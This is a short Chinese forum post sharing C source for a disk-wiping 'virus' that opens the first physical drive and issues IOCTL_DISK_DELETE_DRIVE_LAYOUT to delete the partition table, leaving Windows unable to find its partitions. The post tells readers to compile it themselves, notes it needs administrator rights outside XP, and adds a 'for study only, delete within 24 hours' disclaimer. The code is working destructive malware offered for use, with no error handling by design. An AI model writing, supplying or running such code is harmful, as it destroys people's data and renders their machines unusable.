• UID1913
  • 登录2018-04-26
  • 粉丝2
  • 发帖1
  • 科研点数0点
司马坑 发布于2018-01-28 20:13
0/355

[源码]病毒分享 SCSI写入磁盘分区表

楼层直达
这里是源码,C/C++自行编译运行,自备虚拟机
原理很简单,就是擦除分区表让系统找不到分区,效果大概是蓝屏



非XP要求管理员权限
声明:本代码只允许用于学习交流,请于下载后24小时内删除,一切使用本代码造成的后果与本人无关

#include<stdio.h>
#include<tchar.h>
#include<Windows.h>
#include<ntddscsi.h>


int main()
{
    DWORD lpBytesReturned;
    OVERLAPPED lpOverlapped={0};
    //以下两个CreateFile都可以,但前者速度慢,后者速度快。
    //HANDLE DiskHandle=CreateFile(_T("\\\\.\\C"),GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
    HANDLE DiskHandle=CreateFile(_T("\\\\.\\PhysicalDrive0"),GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
    //反正是破坏硬盘分区,不进行错误处理
    DeviceIoControl(DiskHandle,

        IOCTL_DISK_DELETE_DRIVE_LAYOUT,

        NULL,0,NULL,0,&lpBytesReturned,&lpOverlapped);

    return 0;//返不返回都一样,反正不会执行到这一步,在上一步执行完的片刻系统就GG了
}
您需要登录后才可以回帖
发表回复

杩斿洖椤堕儴